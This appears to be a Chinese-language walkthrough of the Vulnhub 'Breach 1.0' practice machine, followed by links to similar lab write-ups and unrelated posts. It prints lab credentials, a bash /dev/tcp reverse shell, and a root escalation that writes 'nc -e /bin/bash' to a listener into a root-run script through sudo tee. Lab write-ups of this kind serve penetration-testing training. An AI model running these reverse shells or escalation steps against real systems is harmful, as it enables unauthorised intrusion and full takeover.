打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140

打开网页http://192.168.110.140/index.html

查看源代码发现可以加密字符串

猜测base64 解密  cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh  得到这个结果可能是二次加密在base64解密

得到 pgibbons:damnitfeel$goodtobeagang$ta  去除:    得到两个字符串pgibbons,damnitfeel$goodtobeagang$ta

点击图片每个路径都看看发现

可以登录 把刚刚拿到的两个密码进行尝试登录

登录成功 发现有3个邮件

192.168.110.140/.keystore   这个地址 为 ssl 加密证书的密钥库   继续搜索有用文件

发现 有信息泄露 通过邮件信息猜测 tomcat

发现  pcap 文件 为 wireshark  流量包 可以下载来分析

都是加密过的  可以利用前面的ssl 解密  利用java 的 keytool 获取证书  输入

D:\jdk\bin>keytool.exe -list -keystore 

输入密钥库口令:tomcat
密钥库类型: jks
密钥库提供方: SUN

您的密钥库包含 1 个条目

tomcat, 2016-5-21, PrivateKeyEntry,
证书指纹 (SHA1): D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53

Warning:
JKS 密钥库使用专用格式。建议使用 "keytool -importkeystore -srckeystore D:\jdk\keystore -destkeystore D:\jdk\keystore -deststoretype pkcs12" 迁移到行业标准格式 PKCS12。

解密出来 结果

接着导出 p12 证书

输入

keytool -importkeystore -srckeystore D:\jdk\keystore -destkeystore D:\tomcatkeystore.p12 -deststoretype PKCS12
-srcalias tomcat

证书有了 我们就可以查看了 打开Wireshark  编辑--首选项--Protocols--SSL,点击右边的Edit:

输入:192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat

发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为: Basic
dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
这是base64编码的用户名密码,将 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 复制到Burpsuit Decoder进行解码,
得到Tomcat登录用户名密码
Tomcat后台登录用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB
拿到密码 后 可以直接登录

Tomcat 后台是直接可以获取getshell 
 

这里上传马以后每隔3分钟会自动删除 所以我们直接利用他反弹一个shell 这里可以用linux 自带的也可以 用msf 生成

 echo "bash -i >& /dev/tcp/192.168.110.1/4444 0>&1" | bash

本机 输入 nc.exe -lvp 4444

进入项目后直接可以查看项目寻找到 两个特殊文件

看到mysql 的用户密码

输入

mysql -u root -p  回车 密码空 在回车
mysql -u root -p
use mysql;
select user,password from user;
exit

发现 milton 用户   去 etc/passwd

发现对应用户 猜测就是这个用户密码

到 https://www.somd5.com/ 解密,得到用户milton的明文密码:thelaststraw
切换 su -milton   用户
无法执行su命令,显示需要一个终端,之前都遇到这个问题,通过Python解决:
python -c 'import pty;pty.spawn("/bin/bash")'  

接着查询这个用户能否sudo   执行

sudo -l

没发现可利用的   再从新找线索

uname -a

系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
查找历史命令发现

su提权到了blumbergh用户。需要找到blumbergh用户的密码。将可用的资源文件下载发现
bill.png  底部是插入编码 可能是二次隐藏密码  

tEXtComment  和coffeestains

利用这两个尝试登录

登录成功

用户名:blumbergh 密码:coffeestains
查sudo 权限
blumbergh@Breach:~$ sudo -l
sudo -l
Matching Defaults entries for blumbergh on Breach:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User blumbergh may run the following commands on Breach:
(root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

能够以root 权限执行

/usr/bin/tee /usr/share/cleanup/tidyup.sh

在去查看历史命令

发现/usr/share/cleanup和tidyup.sh脚本文件:
执行 
cd /
blumbergh@Breach:/$ cd usr
cd usr
blumbergh@Breach:/usr$ cd share
cd share
blumbergh@Breach:/usr/share$ cd cleasnup
cd cleasnup
-su: cd: cleasnup: No such file or directory
blumbergh@Breach:/usr/share$ cd cleanup
cd cleanup

cat tidyup.sh

 得到
#!/bin/bash

#Hacker Evasion Script
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton -
#This script is set to run every minutes as an additional defense measure against hackers. cd /var/lib/tomcat6/webapps && find swingline -mindepth -maxdepth | xargs rm -rf

3分钟删除一次刚刚上马的路径

 刚刚看到 这个用户能够执行tee 和 sh清除脚本
tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。以root权限运行
这里对linux 命令要解释一下 
cat 文件或者 echo ""   | tee -a  文件(要写到里面的文件) -a 不是覆盖是追加
全部我们执行
echo "nc -e /bin/bash 192.168.110.1 5555"| sudo /usr/bin/tee  /usr/share/cleanup/tidyup.sh

cat 查看

等待nc 反弹

 

成功 记得 python -c 'import pty;pty.spawn("/bin/bash")'  显示终端

 
 

Vulnhub靶场渗透练习(一) Breach1.0的更多相关文章

  1. VulnHub靶场渗透之:Gigachad

    环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...

  2. Vulnhub靶场渗透练习(三) bulldog

    拿到靶场后先对ip进行扫描 获取ip  和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...

  3. Vulnhub靶场渗透练习(二) Billu_b0x

    运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...

  4. Vulnhub靶场渗透练习(五) Lazysysadmin

    第一步扫描ip    nmap 192.168.18.*  获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...

  5. Vulnhub靶场渗透练习(四) Acid

    利用namp 先进行扫描获取ip nmap  192.168.18.* 获取ip  没发现80端口 主机存活  猜测可以是个2000以后的端口 nmap -p1-65533 192.168.18.14 ...

  6. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  7. kali渗透综合靶机(十五)--Breach-1.0靶机

    kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...

  8. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  9. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

随机推荐

  1. activity的隐式和显式启动

    显式Intent(Explicit intent):通过指定Intent组件名称来实现的,它一般用在知道目标组件名称的前提下,一般是在相同的应用程序内部实现的. 隐式Intent(Implicit i ...

  2. pycharm最新版本激活码(永久有效) python安装教程

    Mac 系统自带python 1.打开终端, 输入 python 可以查看python当前版本. 2.输入“python”回车后即进入解释器,例如打印“hello world!”, 可输入 ‘ pri ...

  3. 【linux】【maven】maven及maven私服安装

    前言 系统环境:Centos7.jdk1.8 私服是一种特殊的远程仓库,它是架设在局域网内的仓库服务,私服代理广域网上的远程仓库,供局域网内的用户使用.当Maven需要下载构件的时候,它从私服请求,如 ...

  4. 不fq安装 golang tools

    go get -u -v github.com/golang/tools/go/buildutil ln -s $GOPATH/src/github.com/golang/tools $GOPATH/ ...

  5. 常用HBase操作

    HBase是一个分布式.面向列的数据库,可以用来存储非结构化和半结构化的松散数据,具有高可靠.高性能.面向列.可伸缩的特性.通过行键(RowKey).列族(ColumnFamily).列(Column ...

  6. Spring MVC-从零开始-view-向页面传递data(ModelAndView)

    1.applicationContext.xml <?xml version="1.0" encoding="UTF-8"?> <beans ...

  7. 手把手教你如何在window下将jenkins+allure集成生成的测试报告通过jenkins配置邮箱自动发送-04(非常详细,非常实用)

    简介 上一篇生成测试报告,小伙伴们和童鞋们就又问道,测试报告已经生成了,怎么发送给相关的负责人了?小伙伴们和童鞋们不要着急,听宏哥慢慢给你道来,心急吃不了热豆腐哈.今天这篇文章宏哥就给小伙伴和童鞋们来 ...

  8. 程序员修神之路--设计一套RPC框架并非易事

    菜菜哥,我最近终于把Socket通信调通了 这么底层的东西你现在都会了,恭喜你离涨薪又进一步呀 http协议不也是利用的Socket吗 可以这么说,http协议是基于TCP协议的,底层的数据传输可以说 ...

  9. Java 添加、修改、读取、删除PPT备注

    概述 幻灯片中的备注信息是只提供给幻灯片演讲者观看的特定内容,在演讲者放映幻灯片时,备注信息可给演讲者提供讲解思路,起到辅助讲解的作用.本文将通过Java程序来演示如何操作PPT幻灯片中的备注信息,要 ...

  10. git分支的创建、删除、切换、合并

    需求背景 开发新功能和修改bug一般放在新建分支,如果觉得可行,可以合并到master分支上. 方式 1.查看分支 git branch (查看本地分支及当前所属分支) git branch -a ( ...